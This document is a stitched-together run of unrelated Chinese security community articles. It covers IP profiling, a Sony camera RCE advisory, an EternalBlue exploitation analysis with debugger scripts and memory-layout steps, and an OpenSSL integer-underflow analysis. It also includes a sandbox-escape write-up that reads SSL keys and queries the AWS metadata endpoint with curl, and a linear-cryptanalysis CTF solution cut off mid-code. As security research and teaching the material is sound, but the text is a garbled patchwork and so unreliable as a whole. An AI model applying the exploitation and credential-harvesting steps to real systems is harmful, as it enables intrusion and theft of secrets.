教育网、基站、机房，目前都有比较完整的IP地址列表，通过简单的匹配就可以得出结论。
再根据用户的在不同时间段内的活跃情况，以及每个IP下的用户数量，我们能够准确判断出是家用宽带，还是企业的固定线路。
虽然到目前位置，我们的模型还不能准确区分一个IP到底是酒吧、网吧、酒店或者医院。但从风控的角度而言，我们目前的分类，已经满足绝大部分业务需求。
当然，我们不会满足于今天的成就，对于IP地址分类的研究，一直在进行，我们的覆盖率和准确率也在不断提升。如果你所在的行业，对IP地址类型的判断有更高的要求，不妨和我们分享一下。
我们乐于接受任何能够完善IP画像功能建议！ | 社区文章 |
作者：知道创宇404实验室
时间：2018年7月24日
英文版：<https://paper.seebug.org/654/>
### 背景
[索尼](https://pro.sony/en_GB/)是世界视听、电子游戏、通讯产品和信息技术等领域的先导者，是世界最早便携式数码产品的开创者，是世界最大的电子产品制造商之一。
2018 年 07 月 20 日，Sony IPELA E 系列网络摄像头被曝出存在远程命令执行漏洞，
网上已经公开了[漏洞细节](https://www.talosintelligence.com/vulnerability_reports/TALOS-2018-0604)。该系列摄像头由于未对用户的输入进行过滤，而直接拼接成命令字符串并执行，攻击者可基于此执行任意命令，进一步完全接管摄像头，该漏洞被赋予编号
CVE-2018-3937。该漏洞的利用难度很低，通过原漏洞详情中的说明，2018 年 07 月 19 日，Sony 官方已发布该漏洞的补丁。 2018 年
07 月 24 日，[Seebug
漏洞平台](https://www.seebug.org/vuldb/ssvid-97429)收录了该漏洞。知道创宇404实验室迅速跟进，复现了该漏洞。
### 漏洞影响
通过[ZoomEye网络空间搜索引擎](https://www.zoomeye.org/searchResult?q=%20%2Bapp%3A%22Sony%20Network)对app:”SonyNetworkCamerahttpd”
关键字进行搜索，共得到 6,468 条 IP 历史记录。从本地验证的过程来看，该漏洞的利用难度很低。
受漏洞影响设备的国家分布如下，主要分布在美国、越南、德国等国家。
### 漏洞修复
根据原漏洞详情的说明，Sony官方已经发布相关补丁修复了该漏洞，请及时根据对应摄像头型号下载安装[新版固件](https://pro.sony/en_GB/support/software/)。
* * * | 社区文章 |
# 【漏洞分析】EternalBlue工具漏洞利用细节分析
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**前言**
****
EternalBlue（永恒之蓝）据称是方程式组织在其漏洞利用框架中一个针对SMB服务进行攻击的模块，由于其涉及漏洞的影响广泛性及利用稳定性，在被公开以后为破坏性巨大的勒索蠕虫WannaCry所用而名噪一时。360威胁情报中心对于WannaCry的活动持续地进行着监控，我们看到的趋势是
**WannaCry的感染量还在增加，说明作为蠕虫主要传播手段的EternalBlue相应的漏洞还大量存在着。** 但是，对于
**EternalBlue这个攻击利器本身的技术分析在公开渠道上看到的讨论其实并不充分**
，本文尝试通过一个较完全的分析梳理相关的细节，揭示其成因和相应的利用技巧。
**测试环境**
****
对于EternalBlue的分析是在一个相对简单的环境中进行的，执行攻击的系统为一个Win7机器，目标机器也是Win7
32位系统，没有安装EternalBlue相关的补丁，srv.sys文件的版本为 **6.1.7601.17514** ，srvnet.sys的版本为
**6.1.7601.17514** 。本文中所有的调试器中代码截图都对应上述的版本，不同版本的文件在代码本身或偏移可能不同，但整体的执行逻辑应该差不多。
**漏洞**
****
根据我们的分析，EternalBlue达到其攻击目的事实上利用了3个独立的漏洞：第一个也就是 **CVE-2017-0144**
被用于引发越界内存写；第二个漏洞则用于绕过内存写的长度限制；第三个漏洞被用于攻击数据的内存布局。下面重点介绍一下前两个漏洞，第三个漏洞会在内存布局的过程中提到。
**漏洞1**
首先是EternalBlue工具中使用到的主体漏洞，该漏洞也是Eternalblue的核心部分，编号为CVE-2017-0144。漏洞通过SMB协议的SMB_COM_TRANSACTION2命令触发，该命令说明如下所示：
当该数据包中包含对应的FEA LIST时，SMB服务中会将FEA LIST转换为对应的NTFEA
LIST，其对应的数据结构并不公开，如下所示为趋势团队分析出的对应的FEALIST结构。
入口处理函数为SrvSmbOpen2，其中漏洞出现在函数SrvOs2FeaListToNt中：
如下所示为对应的漏洞函数SrvOs2FeaListToNt，用于实现FEA LIST转换为对应的NTFEA
LIST，函数调用SrvOs2FeaListSizeToNt计算FEALIST的长度，但是该函数存在漏洞导致在特定的情况下，攻击者可以伪造超长的size，从而导致在之后的SrvOs2FeaToNt转换中导致pool溢出。
进入导致漏洞的SrvOs2FeaListSizeToNt函数，该函数会计算对应的FEA
LIST的长度并随后对长度进行更新，该长度一开始为DWORD类型的，之后的长度更新代码中计算出的size拷贝回去的时候是按WORD进行的拷贝，此时只要原变量a中的初始值大于FFFF，即为10000+，该函数的计算结果就会增大。
该赋值中如下所示esi变成了si，此时如果eax高位中的数据不为零，则将返回的超长的size。
如下图所示为对应发送的该数据包，可以看到该请求数据包的长度为103d0，其中对应的FEALIST的长度为10000。
如下图所示，eax为链表的开头，其指向了FEA LIST的总长度，即10000，esi为遍历之后的链表尾部，eax-esi=ff5d，为实际对应的长度，但是更新长度的mov指令中esi变成了si，由于eax中的值为10000，原本应该被赋值为ff5d的eax，变成了1ff5d。
之后在紧接着的函数SrvOsFeaToNt中，由于使用了错误的长度进行memmove从而导致溢出。
下图为其中的复制导致越界写，长度为a8，可以看到正常请求应该是在86535000这个srv.sys对象SMB
buffer中，由于长度过长导致对srvnet.sys分配的buffer越界写。
Enternalblue中通过内存布局，将srvnet对象buffer稳定的分配到srv拷贝对象buffer之后，如下图所示为越界写时的内存情况。
Srvnet 对象buffer中包含两个重要的域：
1.一个指向指定结构（srvnet_recv）的指针（即上图中的8834e4c0，被ffdff020覆盖），该指针将会在smb(srnet)连接结束或断开时被用于寻址函数地址。
2.一个用于接收缓冲区的MDL（即上图中的86546160，被ffdfef80覆盖）
因此覆盖并控制MDL将导致之后的tcp
栈实现任意写入伪造对象的操作，覆盖并控制该指针可用于将其指向一个攻击者控制的伪造对象，此时断开smb(srvnet)连接即可导致代码执行。
如下图所示，MDL复写为ffdfef80后，紧接着Eternalblue发送的shellcode就会被写入到ffdfef80+0x80的位置，即ffdff000。
可以看到此时的调用栈：
写入的地址ffdff000是系统预留的用于保存系统信息的地址，并且可执行。
被写入到ffdff000地址的是一个srvnet_recv的结构（该结构不公开）和紧随其后的shellcode，该结构用于smb(srnet)结束或断开连接的时候通过SrvNetWskReceiveComplete调用SrvNetCommonReceiveHandler
。SrvNetCommonReceiveHandler
根据srv_recv中的指针此处为下图中的poi（ffdff190（ffdff020（被覆盖的对应指针）+0x16c）+4）获取到对应的函数并调用，地址即我们伪造的shellcode的地址（ffdff1f1）。
**漏洞2**
如上述漏洞所示可以导致一次越界写，但其前提是FEA LIST的长度必须大于10000，通过分析可以发现FEA
LIST只存在于SMB_COM_TRANSACTION2命令的子命令中，而该命令的数据结构如下：
TotalDataCount（数据包总长度）是USHOER类型的，即最大值只能为FFFF，那在这个地方EternalBlue是如何发送的长度大于FFFF的SMB_COM_TRANSACTION2子命令请求的呢？
通过抓包可以发现此处发送的并不是SMB_COM_TRANSACTION2子命令的请求包，而是SMB_COM_NT_TRANSACT子命令的请求包：
如下图所示SMB_COM_NT_TRANSACT子命令中TotalDataCount的类型为ULONG，支持发送大于FFFF长度的数据包。
但是SMB_COM_NT_TRANSACT本身是不支持FEA LIST的，这里就涉及到EternalBlue中使用到的第二个漏洞。
SMB的子命令中存在一个名为TRANSACTION系列的命令：
SMB_COM_TRANSACTION: 用于和邮槽、命名管道进行通信
SMB_COM_TRANSACTION2: 用于打开或创建一个共享文件或文件夹，设置它们的扩展属性
SMB_COM_NT_TRANSACT: 用于打开或创建一个文件或文件夹，并应用扩展属性EA或安全描述符SD
其中产生漏洞的即为对应的SMB_COM_TRANSACTION2命令。
对于TRANSACTION系列的命令如果发送的长度过大，SMB会将该请求包拆分成**Second的形式进行发送，如下所示为其相应的**Second系列的命令：
SMB_COM_TRANSACTION
SMB_COM_TRANSACTION_SECONDARY
SMB_COM_TRANSACTION2
SMB_COM_TRANSACTION2_SECONDARY
SMB_COM_NT_TRANSACT
SMB_COM_NT_TRANSACT_SECONDARY
服务端根据SMB请求头部的TIP，PID，UID，MID确定哪一个**Second属于对应的transtion，而服务端根据最后一个**Second确定对应的transtion类型，即如果最后一个**Second为SMB_COM_TRANSACTION2_SECONDARY，就按SMB_COM_TRANSACTION2来处理。
如下图为处理对应**Second的逻辑，对于一个transaction，如果没有发送完，后续会跟上对应的**Second数据包，服务端不会检查对应的**Second类型，只要保证其TIP，PID，UID，MID匹配，服务端就会将这些数据重新组装还原成一个transaction，而类型由最后一个**Second决定。
因此，为了发送一个长度为0x10000的SMB_COM_TRANSACTION2，首先发送一个长度为103d0（FEA
LIST：1000）SMB_COM_NT_TRANSACT，之后发送一系列SMB_COM_TRANSACTION2_SECONDARY数据包，只要保证TIP，PID，UID，MID一致，服务端最后就会将其当做一个SMB_COM_TRANSACTION2来处理，而此时其长度103d0。
由于SMB会等待最后一个**SECOND数据包到来才生成最后的transaction，因此EternalBlue可以在此期间发包对目标设备的内存进行部署，之后再发送最后一个数据包从而触发漏洞越界写。
**内存布局的构建**
****
如上述分析，利用漏洞会触发溢出导致越界写，而EternalBlue中对于该漏洞的利用思路和大多数的pool越界写是一致的：
1.在内存中spray一系列srvnet的对象buffer
2.释放掉其中的空间，以便于srv的对象buffer进行占位
3.srv对象buffer占位
4.发包越界写srvnet的对象buffer
5.触发代码执行
**srvnet对象spray**
但是这里和一般的内核漏洞的利用存在一个很大的区别，就是我们的环境是远程的。通常的本地内核漏洞利用的时候我们可以从容地选择进行spray的内核对象，但是对于远程的环境而言，内核对象的选择及对应的控制就要小很多。
EternalBlue中用于被覆盖的对象为srvnet buffer，其中的对象包含两个重要的结构：
1.一个指向指定结构的指针，通过覆盖它可以将其指向一个伪造的结构，从而实现后续的代码执行。
2.一个接受MDL的缓冲区，通过覆盖它可以保证将后续发送的伪造结构及shellcode写到指定的区域。
微软提供了SMB 2直接支持TCP的通信方式，可以通过该方式来创建srvnet缓冲区。
如下图所示srvnet对象的spray过程，生成的大小依赖于前四字节。
**srv对象spray**
srv对象是通过释放后重申请的方式获取的地址空间，但是SMB中如何通过远程方式稳定的申请并释放一段pool内存了?这就涉及到EternalBlue中使用的第3个漏洞。
该漏洞出现在SMB_COM_SESSION_SETUP_ANDX命令中：
该命令的请求依赖于WordCount的值来确定具体的请求格式，当为12时格式如下图所示，当为13时红框中的变量会有所区别。
直接借用网上逆向简化后的一段代码，如下所示：如果发送的代码中WordConut为12，包含CAP_EXTENDED_SECURITY字段，但却没有FLAGS2_EXTENDED_SECURITY字段，将会导致服务器将以处理13类型请求的方式去处理类型12的请求包，从而进入错误的函数
**GetNtSecurityParameters** 流程中。
**GetNtSecurityParameters**
会检查对应的请求中的参数，函数参数中的v70为通过wordcount和Bytecount计算出来的一个size。
**GetNtSecurityParameters** 函数中的计算如下所示：
该参数返回后作为 **SrvAllocateNonPagedPool** 的参数分配一段pool。
因此利用该漏洞将12类型的请求包通过13类型进行处理，由于两种类型的请求包格式不一致，通过控制请求包指定偏移的数据，即可以控制SrvAllocateNonPagedPool创建的pool的大小，可以使用以下的断点监控该过程：
bp GetNtSecurityParameters+0x1AC ".printf"GetNtSecurityParameters1\n";r;.echo;?cx-si+bx+1d;g;"
bp SrvAllocateNonPagedPool+0x10 ".printf"SrvAllocateNonPagedPool NonPageSize:%p\n",ecx;g;"
bp SrvAllocateNonPagedPool+0x15C ".printf"SrvAllocateNonPagedPool alloc Nopage:%p\n",eax;g;"
bp BlockingSessionSetupAndX+0x7C0 ".printf"BlockingSessionSetupAndX double\n";g;"
如下图所示即为通过断点监控到的非法size生成的过程，通过构造畸形数据包，包含数据87f8，漏洞触发后识别出该错误的偏移，计算最后会分配一段大小为10fec大小的pool。
通过断开对应的该命令请求，可以导致之前分配的10fec大小的pool被释放，从而在地址空间中生成一个hole，该hole之后会被srv对象buffer来填充。
现在知道了如何在内存中稳定的spray一段连续的srvnet的对象buffer，以及如何开辟并释放一段指定大小的空间，内存布局的基本条件已经具备，可以看到具体的布局流程到最后的触发执行过程如下：
1.通过SMB_COM_NT_TRANSACT发送一段FEA LIST长度满足0x10000的数据包
2.发送后续的SMB_COM_TRANSACTION2_SECONDARY，这将导致smb服务将SMB_COM_NT_TRANSACT当做SMB_COM_TRANSACTION2处理，但是最后一个SMB_COM_TRANSACTION2_SECONDARY留置最后。
3.通过smb 2协议进行srvnet对象的spray
4.通过SMB_COM_SESSION_SETUP_ANDX漏洞在srvnet对象之后分配一段大小和srv对象大小几乎一致的pool内存
5.通过smb 2协议继续进行srvnet对象的spray，以确保srvnet位于srv对象之后
6.断开连接导致第4步开辟的pool内存释放，生成一个hole
7.发送最后一个SMB_COM_TRANSACTION2_SECONDARY，由于大小一致，该数据包会填补生成的hole，并触发漏洞导致之后的srvnet对象buffer中的MDL和指针被修改，此时后续发送的数据将拷贝到ffdff000的位置。
8.断开所有连接，触发srvnet_recv指向的shellcode执行
可以通过以下断点监控利用时内存的释放和分配（主要是srv，srvnet对象）：
bp SrvAllocateNonPagedPool+0x10 ".printf"SrvAllocateNonPagedPool NonPageSize:%p\n",ecx;g;"
bp SrvAllocateNonPagedPool+0x15C ".printf"SrvAllocateNonPagedPool alloc Nopage:%p\n",eax;g;"
bp SrvFreeNonPagedPool+0x3 ".printf"SrvFreeNonPagedPool free Nopage:%p\n",eax;g;"
bp BlockingSessionSetupAndX ".printf"BlockingSessionSetupAndX\n";g;"
bp SrvNetAllocateNonPagedBufferInternal ".printf"AllocateNonPaged NonPagedBufferSize:%p\n",poi(esp+8);g;"
bp SrvNetAllocateNonPagedBufferInternal+0x179 ".printf"AllocateNonPaged NonPagedBufferAddress:%p\n",eax;g;"
bp SrvNetFreeNonPagedBufferInternal ".printf"SrvNetFreeNonPagedBufferInternal free NonPageBufferAddress:%p\n",poi(esp+4);g;"
ba e1 srvnet!SrvNetWskReceiveComplete+0x13 ".if(poi(esi+0x24) == ffdff020) {} .else {gc}"
如下图所示即为整体监控到的数据包于内存中的布局情况，其中867bb000处为对应的srv buffer对象，之后867cc000上的srvnet
buffer对象将会被覆盖如下所示：
以上为EternalBlue利用过程中内存布局及对应发送数据包的一个概述，但是其内部其实还有一些细节可供深入挖掘。由于作者水平有限，有什么错误欢迎大家指正。
**参考资料**
****
<http://bobao.360.cn/learning/detail/3738.html>
<https://github.com/worawit/MS17-010>
<http://blog.trendmicro.com/trendlabs-security-intelligence/ms17-010-eternalblue/> | 社区文章 |
# 【漏洞分析】CVE-2017-3731：截断的数据包导致OpenSSL拒绝服务
|
##### 译文声明
本文是翻译文章，文章来源：mcafee.com
原文地址：[https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-cve-2017-3731-truncated-packets-can-cause-denial-service-openssl/?utm_source=twitter&utm_campaign=Labs#sf61253943](https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-cve-2017-3731-truncated-packets-can-cause-denial-service-openssl/?utm_source=twitter&utm_campaign=Labs#sf61253943)
译文仅供参考，具体内容表达以及含义原文为准。
****
翻译：[啦咔呢](http://bobao.360.cn/member/contribute?uid=79699134)
稿费：100RMB（不服你也来投稿啊！）
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**前言**
OpenSSL是一个流行的SSL开源库，被世界各地的各种软件和公司使用。1月份，OpenSSL发布了一个更新以修复多个漏洞。其中之一就是CVE-2017-3731，这可能导致由于程序崩溃而引发的拒绝服务。McAfee
实验室分析了此漏洞来为客户提供检测。
**使用patch diff来找出修改的地方**
补丁修改了一些与各种密码算法相关的文件。对于本报告，我们将检查代码e_chacha20_poly1305.c。以下代码显示此文件的修补程序，取自<https://git.openssl.org/?p=openssl.git;a=commitdiff;h=2198b3a55de681e1f3c23edb0586afe13f438051>
。
我们可以看到，添加了一个简单的步骤来检查变量长度的值与常量POLY1305_BLOCK_SIZE的大小关系，而紧接着下面我们看到变量“len”减去了这个常量。
如果我们查看声明就能发现，POLY1305_BLOCK_SIZE在文件poly1305.h中声明为“#define POLY1305_BLOCK_SIZE
16”。而变量len在e_chacha20_poly1305.c中定义为“unsigned int len;”。
因此，如果变量len小于16，它将导致整数下溢，也就是说，len的值将变得非常大。然后当该值被使用时，可能会导致正常程序流出现问题，因为len的值不正确。
**进一步挖掘**
我们可以看到在前面的图片中，这个len值被分配给“actx->
tls_payload_length”。然后调用函数chacha20_poly1305_cipher。在此函数内，actx->
tls_payload_length被分配给变量“plen”：
注意，变量plen将得到从先前的len整数下溢导致的非常大的数值。我们可以进一步看到plen的值传递给函数poly1305_Update：
Poly1305_Update调用函数Poly1305_blocks时将携带此大值：
如果我们仔细看看函数，我们可以看到变量len包含一个非常大的整数值，但是却被用来作“while”循环中的计数器：
我们还可以看到对函数U8TOU32的调用，该函数读取* inp（指针）的值，并且在循环的每次迭代中，*
inp的值加上一次POLY1305_BLOCK_SIZE。因为len的值非常大，最终* inp将指向不可读的内存。尝试读取将导致访问异常错误 –
导致OpenSSL崩溃。
**从网络中利用漏洞**
要利用此漏洞，客户端需要使用chacha20_poly1305加密套件（或另一个加密漏洞，可从补丁diff中看出），并发送加密的握手消息，其中记录长度小于16个字节（在使用chacha20_poly1305加密套件的情况下）。这将导致整数下溢致使OpenSSL崩溃，我们可以在以下图像看到运行中的OpenSSL和Gnu
Debugger：
**结论**
OpenSSL非常流行，因此可以成为拒绝服务攻击的目标。这些类型的漏洞可能影响许多安装此组件的应用程序。我们建议用户将其使用的OpenSSL安装更新到最新版本。
McAfee 网络安全平台客户已经通过签名ID：0x45c09400受到关于此漏洞的保护。 | 社区文章 |
# tl;dr
作者发现了一种逃逸沙箱编辑器来执行RCE的方法，进而可以查看AWS凭证、SSL证书和其他内容。
# 过程描述
前期侦察阶段，我发现了许多属于HackerEarth的子域和IP地址，其中之一是<https://[REDACTED]/#/home/node/he-theia/sandbox，> 在上面运行着一个基于VS-code的在线IDE，名为[Theia IDE](https://theia-ide.org/
"Theia IDE")。
乍一看，非常正常。
我四处点了点，网站工作人员从IDE快捷方式和菜单中删除了终端视图命令。试图“运行”代码文件，但这也是徒劳的。
然后，我试着通过从vscode调出命令面板(ctrl/cmd+Shift+p)来执行“Task: Run selected
text”，不料，打开了一个终端。
一旦我能打开终端，就很容易得到RCE。
# 进一步尝试
我能够读取所有的系统配置文件，例如HackearEarth的私有SSL.crt和.key文件。
我甚至能够读取git日志和原始ide_fetcher.py.
通过命令行，我能够读取用于调用web-ide的原始参数。
# 读取aws凭证
在能够读取系统文件、写入任意文件和命令后，我想看看是否可以使用终端读取AWS凭据，因为该实例与HackerEarth的其余基础设施一样托管在AWS基础设施上。
我首先尝试了常用的元数据URL来访问AWS详细信息
curl http://169.254.169.254/latest/api/token
payload并没有起作用
接着我ping了一下域名，也并没有什么反应。这时候我从Puma
Scan的一篇[博客](https://pumascan.com/resources/cloud-security-instance-metadata/
"博客")中获得了灵感。
博客中提到攻击ECS元数据不同于攻击EC2元数据服务，因为它来自不同的域。
然后我输出了环境变量
它包含`ECS_CONTAINER_METADATA_URI`和`AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`
原文：https://jatindhankhar.in/blog/responsible-disclosure-breaking-out-of-a-sandboxed-editor-to-perform-rce/#tldr | 社区文章 |
# 密码学学习笔记之线性分析入门篇——EzSPN
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
上一篇了解了一下差分分析，这次我们结合一道CTF题目聊一聊线性分析
同属于选择明文的差分分析不同，线性分析属于已知明文攻击方法，它通过寻找明文和密文之间的一个“有效”的线性逼近表达式，将分组密码与随机置换区分开来，并再此基础上进行密钥恢复攻击。
在正式介绍线性分析之前，我们还是要介绍一下相关的基础概念，参考《分组密码的攻击方法与实例分析》一书
## 基础概念
首先还是给出和差分分析一样的一个迭代分组密码的加密流程
### 迭代分组密码的加密流程
### 内积
### 线性掩码
### 线性逼近表达式
### 线性壳
迭代分组密码的一条 i 轮线性壳是指一对掩码(β0,βi)，其中β0 是输入掩码，βi 是输出掩码。
### 线性特征
### 线性壳的线性概率
### 线性特征的线性概率
## 线性区分器
先给出一个命题，对{0,1}^n 上的随机置换R,任意给定掩码α,β,α ≠ 0,β ≠ 0, 则 LP(α,β ) = 0, 即 偏差 ε(α,β)
= 0
如果我们找到了一条 r-1 轮线性逼近表达式 (α,β)，其线性概率 LP(α,β) ≠ 0，即偏差 ε(α,β) ≠ 0。则利用该线性逼近表达式可以将
r-1 轮的加密算法与随即置换区分开来，利用该线性区分器就可以对分组密码进行密钥恢复攻击。假设攻击 r 轮加密算法，为获得第 r 轮的轮密钥的攻击步骤如下。
### 步骤1
寻找一个 r – 1轮的线性逼近表达式 (α,β) ，设其偏差为ε(α,β)，使得 |ε(α,β)|较大。
### 步骤2
根据区分器的输出，攻击者确定要恢复的第 r 轮轮密钥 k_r（或者其部分比特）：设攻击的密钥比特长度为 l，对每个可能的候选密钥gk_i, 0 ≤ i ≤
2^l -1，设置相应的 2^l 个计数器λ_i，并初始化。
### 步骤3
均匀随机地选取明文 X，在同一个未知密钥 k 下加密，（一般是让拥有密钥地服务端帮你加密）获得相应地密文 Z, 这里选择明文地数目为 m ≈ c ·（1/ε
^2），c 为某个常数。
### 步骤4
对一个密文Z，我们用自己猜测地第 r 轮轮密钥 gk_i（或其部分比特）对其进行第 r 轮解密得到Y_{r-1}，然后我们计算线性逼近表达式 α x · X
⊕ β · Y_{r-1} 是否为0，若成立，则给相应计数器λ_i 加 1
### 步骤5
将 2^l 个计数器中|λ/m – 1/2| 最大地指所对应地密钥 gk_i（或其部分比特）作为攻击获得地正确密钥值。
**Remark** 针对步骤1中，我们如何去寻找一个高概率地 r -1
轮线性逼近表达式呢？例如针对一个S盒，我们可以选择穷举所有的输入、并获得相应的输出，然后穷举输入掩码、输出掩码，去获取这个S盒的相关线性特性。
下面就根据一道CTF中出现的赛题来解释分析上述过程。
## 实例-[NPUCTF2020]EzSPN
task.py
import os
from binascii import hexlify, unhexlify
import Crypto.Random.random as random
from secret import flag
SZ = 8
coef = [239, 163, 147, 71, 163, 75, 219, 73]
sbox = list(range(256))
random.shuffle(sbox)
sboxi = []
for i in range(256):
sboxi.append(sbox.index(i))
def doxor(l1,l2):
return [x[0]^x[1] for x in zip(l1,l2)]
def trans(blk):
res = []
for k in range(0, SZ, 8):
bits = [bin(x)[2:].rjust(8,'0') for x in blk[k:k+8]]
for i in range(8):
res.append(int(''.join([x[(i+1) % 8] for x in bits]),2))
res[k:k+8] = [(coef[i] * res[k+i]) % 256 for i in range(8)]
return res
def encrypt_block(pt, ks):
cur = doxor(pt, ks[:SZ])
cur = [sbox[x] for x in cur]
cur = trans(cur)
cur = [sboxi[x] for x in cur]
cur = doxor(cur, ks[SZ:])
return cur
def encrypt(pt, k):
x = 0 if len(pt)%SZ==0 else (SZ-len(pt)%SZ)
pt += [x]*x
ct = ''
for i in range(0, len(pt), SZ):
res = encrypt_block([x for x in pt[i:i+SZ]], k)
ct += ''.join(["{:02x}".format(xx) for xx in res])
return ct
def doout(x):
if len(x) % 16:
x = (16 - len(x) % 16) * "0" + x
return x
def doin(x):
return list(unhexlify(x))
def genkeys():
return list(os.urandom(2*SZ))
if __name__ == "__main__":
print(sbox)
key = genkeys()
ct = encrypt(flag, key)
print(ct)
while True:
pt = doin(input())
print(doout(encrypt(pt, key)))
题目提供一个交互，能够加密你的输入并返回密文。所以这里是否可以采用差分分析的攻击方法呢，但这里我们讨论的线性分析，所以我们就用线性分析来做这道题目里。
那么看到这里所用加密系统的流程。
关键函数是encrypt_block(pt, ks)，
首先是一个明文和一半的密钥异或，然后是进入S盒（题目每次随机生成并提供S盒具体内容），然后trans一下，再进入一个逆S盒，最后再和另一半的密钥异或。
看到这个trans函数，这里有一个int(‘’.join([x[(i+1) % 8] for x in
bits]),2)，这个（i+1%8）有点类似位移的效果，然后是乘以了一个系数，但这个系数已经定死了，所以没有什么关系。
首先测一个这个trans函数的一个位移效果，大概类似这样
然后整个流程图（画的丑了点）
那么针对这道题，我们利用线性分析攻击手法，
首先 **步骤1**
，我们去分析S盒的线性特性以找到使得线性表达式偏差大的掩码对(α，β)。我们穷举所有的S盒的可能的输入并计算出相应的输出，然后穷举所有的输入、输出掩码的组合，然后根据其是否符合满足线性逼近表达式
α · X ⊕ β · F(X,K) = 0 来更新计数器，最后我们计算相应的偏差表offset
def linearSbox():
global linearInput
for i in range(256):
si = sbox[i]
for j in range(256):
for k in range(256):
a = bitxor(i, j) # 线性估计输入
b = bitxor(si, k) # 线性估计输出
if a == b:
offset[j][k] += 1
for i in range(256):
offset[i] = [abs(x - 128) / 256 for x in offset[i]]
for linearOutput in range(256):
cur = [x[linearOutput] for x in offset]
linearInput.append(cur.index(max(cur)))
其中j是输入掩码，k是输出掩码。
这里的offset以输入掩码为行，输出掩码为列，所以这里的cur是获取同一输出掩码下不同输入掩码的偏差
**并且在linearInput中记录下同一输入掩码下使得线性表达式偏差最大的输出掩码。**
这里我们简单看一下输出的offset表
可以看到列表的第一行很特殊，除了第一个是0.5这个极大的值以外，其他都是0。因为在输入掩码为0、输出掩码也为0的话，肯定是能够满足的情况下，针对所有的输入、输出肯定是都能满足线性逼近表达式的，所以偏差达到了最大，0.5。但是换做其他输出掩码的话，针对所有的输出，其最后的表达式的结果分布得很均匀，所以偏差为0。
再举第二行第一列的0.03131…这个值的含义：就是针对所有的256个输入，当输入掩码为1，输出掩码为1时的线性逼近表达式的偏差。即有 256 *
（0.03+0.5） ≈ 135 个输入满足（或者不满足）这个线性逼近表达式。
有了S盒的线性特性之后， **步骤2** 是设置一个计数器counter，然后我们开始进入 **步骤3**
搜集明文密文对。就随机选择明文，发送给服务端，然后接收服务端返回的密文即可。
接着开始 **步骤4** ，由于这里有两轮加密，然后我们在步骤1已经生成了关于单个S盒的一个offset表，这个就相当于是 1
轮线性特征了，那么我们接下来就按照线性分析的攻击思路，
这里我们按字节猜测密钥，首先拿一个密文的第一个字节，异或第一个字节的密钥（枚举）后从S逆盒出去，然后把系数coef除掉，再根据P盒，把这个值换到相应的位置，然后这里我们根据S盒的线性特征选取合适的输出、输入掩码对我们的这对输入进行测试。若满足线性逼近表达式，则True计数加一，否则False计数加一。
最后 **步骤5** ，针对每个字节我们都测一万对，取结果偏差最大的key值。这样就完成了密钥每个字节的猜测。
结合代码再细细讲一遍
def calcOffset(pt, ct, j, guessed_key): # 猜测第j段子密钥
pt = list(unhexlify(pt))
ct = list(unhexlify(ct))
ct[j] ^= guessed_key
ct[j] = sbox[ct[j]] # sbox即为sboxi的逆
ct[j] = (ct[j] * coef[j]) % 256
u1 = bitxor(pt[0], linearInput[1 << ((6 - j) % 8)])
u2 = bitxor(ct[j], 0b10000000)
if u1 == u2:
return True
else:
return False
def linearAttack():
key2 = []
for i in range(8): # 第二轮子密钥的第i段
count = [0 for _ in range(256)]
for guessed_key in range(256):
print("[+] Cracking key...({}-{})".format(i, guessed_key))
for j in range(10000):
if calcOffset(plain[j], cipher[j], i, guessed_key) == True:
count[guessed_key] += 1
bias = [abs(x - 5000) / 10000 for x in count]
key2.append(bias.index(max(bias)))
return key2
linearAttack()中我们主要关注那个循环。这里调用了calcOffset函数，传入了一对明文密文对（plain[j],
cipher[j]）、索引（i）、以及猜测的密钥（guessed_key）。
在calcOffset中，首先用密文异或了guessed_key，然后根据值获取从Sbox的输入，然后乘以了coef（这里已经是原来coef的逆了），接着是u2
= bitxor(ct[j], 0b10000000)，用了0b10000000作为掩码，即选取了密文的第一个bit。然后选取 linearInput[1
<< ((6 – j) % 8)] 做为明文第一个字节的掩码。
为什么只选明文的第一个字节，以及其掩码的选取这里可能看的不是很直观，因为这里其实包含了两部分。
我们需要回去注意到P盒。当这里j=0，即爆破第一个字节的密钥时，我们选取的是密文的第1个字节，掩码选的是第1个bit，那么这是从P盒输入的哪个bit传来的呢，从P盒我们可以看到这是P盒输入的第一个字节的第2bit传来的，那么P盒输入的第2bit，实际上就是S盒输出的第2bit，也就是S盒的输出掩码为0b01000000，也就是1
<< 6。而这个 linearInput 存的就是 **输出掩码为某个值的使得线性逼近表达式偏差最大的输入掩码** 。
当我们选取密文第二个字节的时候，根据P盒，第二个字节第1个bit来自于明文第一个字节第3个bit，也就是0b00100000，也就是1 << 5，同理可推
所以这里只用选明文的第一个字节，密文不同字节的第一个比特，且输入掩码为 linearInput[1 << ((6 – j) % 8)]。
另外可能还有一个问题，S盒的输入不是明文啊，应该是明文异或了第一个段密钥。确实，但是试想一下，在线性逼近表达式的这个式子中，密钥部分相互异或后，最后无非就是0或者1，而且由于密钥固定，所以针对固定的输入掩码，这个值是固定的。对于返回结果没有影响或者只是一个取反的效果。而我们是根据偏移来判断的，所以正并不影响结果，key的具体的值在这里也就没什么影响。
举个例子，如果输入掩码是0b00110011，输入掩码是0b00001111，那么由于密钥的存在，线性逼近表达式就是这么写：X_2 ⊕ X_3 ⊕ X_6⊕
X_7 ⊕ K_2 ⊕ K_3⊕ K_6⊕ K_7 = Y_4⊕ Y_5 ⊕ Y_6 ⊕ Y_7
其中K_2 ⊕ K_3⊕ K_6⊕ K_7 这部分无非就是等于 0 或者 1，对于结果没有影响或者只是一个取反的效果，对偏差则没有影响。
爆破出第二部分key的每一个字节之后，我们就可以逆算法流程。由于S盒是双射的，用明文、密文、第二部分key就可以去恢复第一部分的key，然后再写一个解密函数就可以解决这道问题了，
来自出题人的exp:
import os, sys
from binascii import hexlify, unhexlify
from pwn import *
SZ = 8
offset = [[0 for i in range(256)] for i in range(256)] #Sbox线性估计offset
linearInput = []
sbox, sboxi, plain, cipher = [], [], [], []
enc_flag = None
coef = [15, 11, 155, 119, 11, 99, 83, 249]
def getData(ip, port):
global enc_flag, sbox, sboxi
io = remote(ip, port)
sbox_str = io.recvline()
sbox = eval(sbox_str)
